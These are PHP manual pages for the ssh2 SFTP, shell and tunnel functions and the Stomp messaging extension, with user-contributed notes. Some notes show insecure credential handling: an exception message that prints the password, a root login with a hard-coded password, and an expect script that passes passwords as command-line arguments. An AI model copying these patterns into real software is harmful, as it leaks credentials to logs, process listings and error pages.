  • PHP Manual
  • SSH2 Functions
  • Resolve the realpath of a provided path string

ssh2_sftp_realpath

(PECL ssh2 >= 0.9.0)

ssh2_sftp_realpath — Resolve the realpath of a provided path string

Description

string ssh2_sftp_realpath ( resource $sftp , string $filename )

Translates filename into the effective real path on the remote filesystem.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

Return Values

Returns the real path as a string.

Examples

Example #1 Resolving a pathname

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$realpath = ssh2_sftp_realpath($sftp, '/home/username/../../../..//./usr/../etc/passwd');
/* $realpath is now: '/etc/passwd' */
?>

See Also

  • realpath() - Returns canonicalized absolute pathname
  • ssh2_sftp_symlink() - Create a symlink
  • ssh2_sftp_readlink() - Return the target of a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Rename a remote file

  • « ssh2_sftp_realpath
  • ssh2_sftp_rmdir »
  • PHP Manual
  • SSH2 Functions
  • Rename a remote file

ssh2_sftp_rename

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rename — Rename a remote file

Description

bool ssh2_sftp_rename ( resource $sftp , string $from , string $to )

Renames a file on the remote filesystem.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

from

The current file that is being renamed.

to

The new file name that replaces from.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Renaming a file via sftp

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rename($sftp, '/home/username/oldname', '/home/username/newname');
?>

See Also

  • rename() - Renames a file or directory

User Contributed Notes

thomas dot hebinck at digionline dot de 10-Nov-2011 06:57
An already existing file will NOT be overwritten.

http://www.openssh.com/txt/draft-ietf-secsh-filexfer-02.txt

"It is an error if there already exists a file with the name specified by newpath."


Remove a directory

  • « ssh2_sftp_rename
  • ssh2_sftp_stat »
  • PHP Manual
  • SSH2 Functions
  • Remove a directory

ssh2_sftp_rmdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rmdir — Remove a directory

Description

bool ssh2_sftp_rmdir ( resource $sftp , string $dirname )

Removes a directory from the remote file server.

This function is similar to using rmdir() with the ssh2.sftp:// wrapper.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

dirname

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Removing a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rmdir($sftp, '/home/username/deltodel');
/* Or:  rmdir("ssh2.sftp://$sftp/home/username/dirtodel"); */
?>

See Also

  • rmdir() - Removes directory
  • ssh2_sftp_mkdir() - Create a directory

User Contributed Notes

There are no user contributed notes for this page.


Stat a file on a remote filesystem

  • « ssh2_sftp_rmdir
  • ssh2_sftp_symlink »
  • PHP Manual
  • SSH2 Functions
  • Stat a file on a remote filesystem

ssh2_sftp_stat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_stat — Stat a file on a remote filesystem

Description

array ssh2_sftp_stat ( resource $sftp , string $path )

Stats a file on the remote filesystem following any symbolic links.

This function is similar to using the stat() function with the ssh2.sftp:// wrapper in PHP 5 and returns the same values.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

path

Return Values

See the documentation for stat() for details on the values which may be returned.

Examples

Example #1 Stating a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_stat($sftp, '/path/to/file');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

See Also

  • ssh2_sftp_lstat() - Stat a symbolic link
  • lstat() - Gives information about a file or symbolic link
  • stat() - Gives information about a file

User Contributed Notes

gmmarcus at outlook dot my 04-Aug-2014 04:32
Just to add further, that was for a php 5.3.5 box running a 64 bit linux os....
i havent tested on other versions yet.

But there is quite a lot of noise about this in php bug list.
gmmarcus at outlook dot my 04-Aug-2014 04:17
Pls note that stat does not seem to give proper filesizes even with 64 bit php if files > 2Gb
Darren Wolfe 09-Jun-2012 02:43
As with stat(), the returned size of the file may be wrong if it is over 2GB.


Create a symlink

  • « ssh2_sftp_stat
  • ssh2_sftp_unlink »
  • PHP Manual
  • SSH2 Functions
  • Create a symlink

ssh2_sftp_symlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_symlink — Create a symlink

Description

bool ssh2_sftp_symlink ( resource $sftp , string $target , string $link )

Creates a symbolic link named link on the remote filesystem pointing to target.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

target

Target of the symbolic link.

link

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_symlink($sftp, '/var/run/mysql.sock', '/tmp/mysql.sock');
?>

See Also

  • ssh2_sftp_readlink() - Return the target of a symbolic link
  • symlink() - Creates a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Delete a file

  • « ssh2_sftp_symlink
  • ssh2_sftp »
  • PHP Manual
  • SSH2 Functions
  • Delete a file

ssh2_sftp_unlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_unlink — Delete a file

Description

bool ssh2_sftp_unlink ( resource $sftp , string $filename )

Deletes a file on the remote filesystem.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Deleting a file

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_unlink($sftp, '/home/username/stale_file');
?>

See Also

  • unlink() - Deletes a file

User Contributed Notes

There are no user contributed notes for this page.


Initialize SFTP subsystem

  • « ssh2_sftp_unlink
  • ssh2_shell »
  • PHP Manual
  • SSH2 Functions
  • Initialize SFTP subsystem

ssh2_sftp

(PECL ssh2 >= 0.9.0)

ssh2_sftp — Initialize SFTP subsystem

Description

resource ssh2_sftp ( resource $session )

Request the SFTP subsystem from an already connected SSH2 server.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

Return Values

This method returns an SSH2 SFTP resource for use with all other ssh2_sftp_*() methods and the ssh2.sftp:// fopen wrapper.

Examples

Example #1 Opening a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');
?>

See Also

  • ssh2_scp_recv() - Request a file via SCP
  • ssh2_scp_send() - Send a file via SCP

User Contributed Notes

Jaybee 04-Apr-2014 07:02
When uploading (writing) a file you must use an absolute path, not a relative one.

If, like me, you want to use a relative path, you can use the following code:

$fh=fopen("ssh2.sftp://$sftp".ssh2_sftp_realpath($sftp,".")."/fileinmyhomedir.txt");
sandipshah at vthrive dot com 17-Nov-2009 12:05
In

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');

please make sure that you are specifying the "absolute" path to a file.

If not, you'll get errors like

"Unable to open file ..."

The reasoning is simple ... ssh2.sftp://$sftp points to the "root" directory on the remote server, where, most likely, one does not have access.

It is necessary to point it to your "home" directory.  For example, "ssh2.sftp://$sftp/home/username/filename" ... where "/home/username" is where your home directory is.
bas weerman 09-Jul-2008 12:13
I changed the read function to:

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $size = $this->getFileSize($remote_file);
        $contents = '';
        $read = 0;
        $len = $size;
        while ($read < $len && ($buf = fread($stream, $len - $read))) {
          $read += strlen($buf);
          $contents .= $buf;
        }
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function getFileSize($file){
      $sftp = $this->sftp;
        return filesize("ssh2.sftp://$sftp$file");
    }
tom at r dot je 02-Jul-2008 06:33
Not sure if this is a bug of some kind of security feature.

When reading files using ssh2.sftp anything inside php tags is inexplicably stripped.

foo.php
one
<?
echo 'two';
?>
echo 'three';

$stream = fopen("ssh2.sftp://$sftp$file", 'r');
echo filesize("ssh2.sftp://$sftp$file"); //CORRECT
echo fread($stream, filesize("ssh2.sftp://$sftp$file")); //prints "onethree"

Not sure why this happens and haven't found a workaround.
bas weerman 14-May-2008 09:22
I added some functionality for scanning the filesystem and receiving and deleting files.

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

        function scanFilesystem($remote_file) {
              $sftp = $this->sftp;
            $dir = "ssh2.sftp://$sftp$remote_file";
              $tempArray = array();
            $handle = opendir($dir);
          // List all the files
            while (false !== ($file = readdir($handle))) {
            if (substr("$file", 0, 1) != "."){
              if(is_dir($file)){
//                $tempArray[$file] = $this->scanFilesystem("$dir/$file");
               } else {
                 $tempArray[]=$file;
               }
             }
            }
           closedir($handle);
          return $tempArray;
        }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
      $sftp = $this->sftp;
      unlink("ssh2.sftp://$sftp$remote_file");
    }
}
duke1 at drakkon dot net 23-Apr-2008 05:38
if anyone is interested on how to get a directory listing:
$SSH_CONNECTION= ssh2_connect('shell.example.com', 22);
ssh2_auth_password($SSH_CONNECTION, 'username', 'password');
//-------------------------------------------------------------------
//this function finds all files within  given directory and returns them
function scanFilesystem($dir) {
    $tempArray = array();
    $handle = opendir($dir);
  // List all the files
    while (false !== ($file = readdir($handle))) {
    if (substr("$file", 0, 1) != "."){
           if(is_dir($file)){
            $tempArray[$file]=scanFilesystem("$dir/$file");
        } else {
            $tempArray[]=$file;
        }
    }
    }
   closedir($handle);
  return $tempArray;
}

//-------------------------------------------------------------------
$sftp = ssh2_sftp($SSH_CONNECTION);

//code to get listing of all OUTGOING files
$dir = "ssh2.sftp://$sftp/outgoing";
$outgoing = scanFilesystem($dir);
sort($outgoing);
print_r($outgoing);
Curtis Wyatt 28-Jan-2008 04:58
The sftp class provided by David Barnes works great.  However, if you get errors about fopen and it failing to open a stream, try the fully qualified path on the remote server.

For example, if you are uploading a file to /Users/username/Sites/file.txt this may not work:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

but this will:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/Users/username/Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

Don't assume that since you are connecting as that user that you are starting in its home space.

Another possible option is that you need to use http://us.php.net/manual/en/function.ssh2-sftp-mkdir.php first to make the directory if it does not exist already, and then upload the file into it.
David Barnes 16-Nov-2006 12:08
Here is an example of how to send a file with SFTP:

<?php

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " .
                                "and password $password.");

        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
}

try
{
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/tmp/to_be_received");
}
catch (Exception $e)
{
    echo $e->getMessage() . "\n";
}

?>


Request an interactive shell

  • « ssh2_sftp
  • ssh2_tunnel »
  • PHP Manual
  • SSH2 Functions
  • Request an interactive shell

ssh2_shell

(PECL ssh2 >= 0.9.0)

ssh2_shell — Request an interactive shell

Description

resource ssh2_shell ( resource $session [, string $term_type = "vanilla" [, array $env [, int $width = 80 [, int $height = 25 [, int $width_height_type = SSH2_TERM_UNIT_CHARS ]]]]] )

Open a shell at the remote end and allocate a stream for it.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

term_type

term_type should correspond to one of the entries in the target system's /etc/termcap file.

env

env may be passed as an associative array of name/value pairs to set in the target environment.

width

Width of the virtual terminal.

height

Height of the virtual terminal.

width_height_type

width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

Return Values

Examples

Example #1 Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_shell($connection, 'vt102', null, 80, 24, SSH2_TERM_UNIT_CHARS);
?>

See Also

  • ssh2_exec() - Execute a command on a remote server
  • ssh2_tunnel() - Open a tunnel through a remote server
  • ssh2_fetch_stream() - Fetch an extended data stream

User Contributed Notes

tuxedobob at mac dot com 09-Apr-2014 05:37
Keep in mind that when using ssh2_shell, the remote system's EOL may not be the same as PHP's EOL, so it may not be safe to use PHP_EOL. The native EOL for Windows is \r\n, while Unix is typically merely \n, and classic Mac for some reason is \r.

If you're running PHP on Windows (\r\n) and sshing into a Unix box (\n) you're going to end up sending extra lines. My experience so far is that it just acts as though you typed nothing, which may cause issues with password prompts.

Oh, and \n\r? Don't do that. Nobody does that.
tsschulz at gmx dot net 11-Jan-2011 05:07
In my case the ssh2_shell doesn't work every time. There were many problems:
- If I use stream_get_contents, the command(s) never executed
- with while ($buf = fgets...) the loop never stops
- without sleep(1) before stream_set_blocking, the command wasn't execute every time. Anyone knows why?
That's what I made, and it works - but I think it isn't what it should be:
<?php
        $strCommand = 'tar -C /path/to/extract -xjf /path/from/file.tar.bz2';
        $sshStream = ssh2_shell($this->sshSession, 'xterm', null, 120, 24, SSH2_TERM_UNIT_CHARS);
        fwrite($sshStream, $strCommand . PHP_EOL);
        sleep(1);
        stream_set_blocking($sshStream, true);
        $sshUntarRetval = "";
        while ($buf = fgets($sshStream,4096)) {
        flush();
            $sshUntarRetval .= $buf;
            if (strpos($buf, 'tar -C') !== false)
            {
                break;
            }
        }
        fclose($sshStream);
?>
stefanov at uk dot ibm dot com 02-May-2008 05:26
Do not use \n to end the command. Some server will fail to process. Use always the standard for PHP end of line: PHP_EOL

'suri at suribala dot com"'s example should be modified as follows (also change the double quotes to single, for better performance):

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, 'user', 'password');
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, 'cd /dir_one;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);
fwrite( $shell, 'cd /dir_two;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);

?>

Cheers,

Pimmy
josh at hydril dot com 13-Jul-2007 01:49
To run a shell script with all the variables that you would have when logged in interactively add bash -l or sh --login infront of your command.  The script I use creates a shell script, copies the script to the box with ssh2_scp_send, then executes the script with ssh2_exec.  Hope this helps somebody.

<?php

//Example

$script1 = "bash -l /etc/rc.d/rc.httpd restart";

$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, $script1);
?>
vgopu1 at gmail dot com 09-Jul-2007 10:17
Hi,

we could also use shell_exec to execute multiple related commands
separated by semicolon (;).

 And I figured out  problem that sometimes arise related to the execution of complex java c/c++ programs. All we need to do is to set the required environment variables. I have a environment variable in .bash_profile. This variable would be set when I log into my account normally through shell. But when we use ssh2_connect(), the environment variables in the .bash_profile are not set, all we need to do is export the required environment variables with shell_exec();

example:

$conn = ssh2_connect($ipaddress);
ssh2_auth_password($conn,$username,$passwd);
$cmd1="/path/to/program1";
$cmd2="/path/to/program2";
$env1="export Variable_name1=path1";
$env2="export Variable_name2=path2"
$stream = ssh2_exec($connection,"$env1; $env2; $cmd1; $cmd2");//this would execute all the //commands and return
// stream
stream_set_blocking($stream, true);
while($o=fgets($stream)){
echo $o.'<br>';
}

...
...

Thanks,
Vikram Gopu .
http:\\my.lsu.edu/vgopu1
johnes at netsite dot com dot br 16-Feb-2007 06:27
Instead of using sleep(1) try using usleep(350000). If not, you will need to spend much time unnecessary. In my scripts, I tried to use usleep(250000), but it's too short and brought some problems. usleep(300000) worked, but only to garantee use 350000. ;)
galvao at galvao dot eti dot br 18-Dec-2006 06:03
In response to webmaster at spectreanime dot com:

"For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running"

Actually what you must do is set the blocking of the string to true, so it waits until the server sends data to the STDOUT before echoing it.

So, instead of:

sleep(1);

Just do:

stream_set_blocking($stdio, true);

Best regards,
webmaster at spectreanime dot com 08-Jun-2005 10:38
// Connection to SSH server
        echo "Connexion SSH ";
        if (!($resource=@ssh2_connect("192.168.0.1"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Authentification by login/passwd
        echo "Authentification ";
        if (!@ssh2_auth_password($resource,"root","your_password")) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // We need a shell
        echo "Shell stdio ";
        if (!($stdio = @ssh2_shell($resource,"xterm"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Execution of any command
        // Be careful to add an '\n' at the  end of the command
        $command = "/bin/ls /tmp\n";
        fwrite($stdio,$command);

        // IMPORTANT
        // For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running
        sleep(1);

        // Then u can fetch the stream to see what happens on stdio
        while($line = fgets($stdio)) {
                flush();
                echo $line."<br />";
        }

        // It's always cleaner to close all stream
        fclose($stdio);

I truly hope i'll help someone :)
suri at suribala dot com 14-Feb-2005 02:03
Using ssh_exec, one could execute only one command at a time. However, ssh_shell, offers greater flexibility.

Here is an example:

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, "user", "password");
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, "cd /dir_one\n");
fwrite( $shell, "ls -la\n");
fwrite( $shell, "cd /dir_two\n");
fwrite( $shell, "ls -la\n");

?>

Thanks Sara for your implementation and your help !


Open a tunnel through a remote server

  • « ssh2_shell
  • Stomp »
  • PHP Manual
  • SSH2 Functions
  • Open a tunnel through a remote server

ssh2_tunnel

(PECL ssh2 >= 0.9.0)

ssh2_tunnel — Open a tunnel through a remote server

Description

resource ssh2_tunnel ( resource $session , string $host , int $port )

Open a socket stream to an arbitrary host/port by way of the currently connected SSH server.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

host

port

Return Values

Examples

Example #1 Opening a tunnel to an arbitrary host

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_pubkey_file($connection, 'username', 'id_dsa.pub', 'id_dsa');

$tunnel = ssh2_tunnel($connection, '10.0.0.101', 12345);
?>

See Also

  • ssh2_connect() - Connect to an SSH server
  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

tim dot wood at datawranglers dot com 07-Jan-2007 08:06
The tunnel command doesn't seem to support ssh2_auth_password.   For people trying to go from their own computer to a second box and then ssh one to a third box, here's an approach that works for me.  YMMV and IMKYD.

// the relay box
$ip1   = '192.168.1.1';
$user1 = 'usename';
$pswd1 = 'password';

// the destination box
$ip3   = '192.168.1.2';
$user3 = 'usename';
$pswd3 = 'password';

// PART 1
// set up a basic ssh2 connection:

$connection = ssh2_connect($ip1, 22);
ssh2_auth_password($connection, $user1, $pswd1);
$shell = ssh2_shell($connection,"bash");

// PART 2
// Create a basic expect script to handle
// a simple ssh login and then passes the session back to the user

// remove any existing login expect script
$cmd = "rm -f login-via-ssh.expect";
fwrite($shell,$cmd . "\n");
// see discussion with other commands on sleep vs other options
sleep( 1 );

// echo does not like #!/usr/bin/expect ... so gawk it over
$cmd = "echo \"\" | gawk '{ print \"#\" \"!\" \"\/usr\/bin\/expect\" }' > login-via-ssh.expect";
fwrite($shell,$cmd . "\n");
// more bad sleep
sleep( 1 );

// Add in the rest of the expect script
$script = array(
    'spawn ssh -l [lindex \$argv 1] [lindex \$argv 0]',
    'expect \"password:\"',
    'send \"[lindex \$argv 2]\r\"',
    'interact'
);
$append = '>>';
foreach( $script as $line ) {
    $cmd = 'echo "'. $line . '" '.$append.' login-via-ssh.expect' . "\n";
    fwrite($shell,$cmd);
    sleep( 1 );
}

// Make it executable
$cmd = "chmod +x login-via-ssh.expect";
fwrite($shell,$cmd . "\n");
sleep( 1 );

// PART 3
// Get into the other server
// Pass an ip, username, password to the expect script
// The expect script happily logs the php script in.

// put together the command and execute it
$cmd = "./login-via-ssh.expect $ip3 $user3 $pswd3";
fwrite($shell,$cmd . "\n");
// A long bad sleep since ssh takes a while to respond
sleep( 15 );
while( $line = fgets( $shell, 4096 ) ) {
    // flush the buffer
}

// do a test directory listing to show that we really got there
$cmd = "ls -alb /";
fwrite($shell,$cmd . "\n");
sleep( 1 );
while( $line = fgets( $shell, 4096 ) ) {
    print $line;
}

Bingo... the php script is tunneled to the third box.


Stomp Client

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • Stomp Functions
    • stomp_connect_error — Returns a string description of the last connect error
    • stomp_version — Gets the current stomp extension version
  • Stomp — The Stomp class
    • Stomp::abort — Rolls back a transaction in progress
    • Stomp::ack — Acknowledges consumption of a message
    • Stomp::begin — Starts a transaction
    • Stomp::commit — Commits a transaction in progress
    • Stomp::__construct — Opens a connection
    • Stomp::__destruct — Closes stomp connection
    • Stomp::error — Gets the last stomp error
    • Stomp::getReadTimeout — Gets read timeout
    • Stomp::getSessionId — Gets the current stomp session ID
    • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
    • Stomp::readFrame — Reads the next frame
    • Stomp::send — Sends a message
    • Stomp::setReadTimeout — Sets read timeout
    • Stomp::subscribe — Registers to listen to a given destination
    • Stomp::unsubscribe — Removes an existing subscription
  • StompFrame — The StompFrame class
    • StompFrame::__construct — Constructor
  • StompException — The StompException class
    • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension allows php applications to communicate with any Stomp compliant Message Brokers through easy object oriented and procedural interfaces. » Stomp official site

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PECL/stomp requires PHP 5.2.2 or newer.

The » OpenSSL package >= 0.9.6 and the openssl extension may also be required to use stomp over SSL.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/stomp

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Stomp Configure Options
Name | Default | Changeable | Changelog
stomp.default_broker | tcp://localhost:61613 | PHP_INI_ALL |
stomp.default_connection_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_connection_timeout_usec | 0 | PHP_INI_ALL |
stomp.default_read_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_read_timeout_usec | 0 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

stomp.default_broker string

The default broker URI to use when connecting to the message broker if no other URI is specified.

stomp.default_connection_timeout_sec integer

The seconds part of the default connection timeout.

stomp.default_connection_timeout_usec integer

The microseconds part of the default connection timeout.

stomp.default_read_timeout_sec integer

The seconds part of the default reading timeout.

stomp.default_read_timeout_usec integer

The microseconds part of the default reading timeout.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There is only one resource type used in the stomp extension - it's the link identifier for a stomp connection.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Object oriented style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
    var_dump($frame);

    /* acknowledge that the frame was received */
    $stomp->ack($frame);
}

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Example #2 Procedural style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
    var_dump($frame);

    /* acknowledge that the frame was received */
    stomp_ack($link, $frame['headers']['message-id']);
}

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Stomp Functions

Table of Contents

  • stomp_connect_error — Returns a string description of the last connect error
  • stomp_version — Gets the current stomp extension version

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last connect error

  • « Stomp Functions
  • stomp_version »
  • PHP Manual
  • Stomp Functions
  • Returns a string description of the last connect error

stomp_connect_error

(PECL stomp >= 0.3.0)

stomp_connect_error — Returns a string description of the last connect error

Description

string stomp_connect_error ( void )

Returns a string description of the last connect error.

Parameters

This function has no parameters.

Return Values

A string that describes the error, or NULL if no error occurred.

Examples

Example #1 stomp_connect_error() example

<?php
$link = stomp_connect('http://localhost:61613');

if(!$link) {
    die('Connection failed: ' . stomp_connect_error());
}
?>

The above example will output something similar to:

Connection failed: Invalid Broker URI scheme

User Contributed Notes

There are no user contributed notes for this page.


Gets the current stomp extension version

  • « stomp_connect_error
  • Stomp »
  • PHP Manual
  • Stomp Functions
  • Gets the current stomp extension version

stomp_version

(PECL stomp >= 0.1.0)

stomp_version — Gets the current stomp extension version

Description

string stomp_version ( void )

Returns a string containing the version of the current stomp extension.

Parameters

This function has no parameters.

Return Values

It returns the current stomp extension version

Examples

Example #1 stomp_version() example

<?php

var_dump(stomp_version());

?>

The above example will output something similar to:

string(5) "0.2.0"

User Contributed Notes

There are no user contributed notes for this page.


The Stomp class

(PECL stomp >= 0.1.0)

Introduction

Represents a connection between PHP and a Stomp compliant Message Broker.

Class synopsis

Stomp {
/* Methods */
public bool abort ( string $transaction_id [, array $headers ] )
public bool ack ( mixed $msg [, array $headers ] )
public bool begin ( string $transaction_id [, array $headers ] )
public bool commit ( string $transaction_id [, array $headers ] )
public __construct ([ string $broker = ini_get("stomp.default_broker_uri") [, string $username [, string $password [, array $headers ]]]] )
public bool __destruct ( void )
public string error ( void )
public array getReadTimeout ( void )
public string getSessionId ( void )
public bool hasFrame ( void )
public stompframe readFrame ([ string $class_name = "stompFrame" ] )
public bool send ( string $destination , mixed $msg [, array $headers ] )
public void setReadTimeout ( int $seconds [, int $microseconds ] )
public bool subscribe ( string $destination [, array $headers ] )
public bool unsubscribe ( string $destination [, array $headers ] )
}

Table of Contents

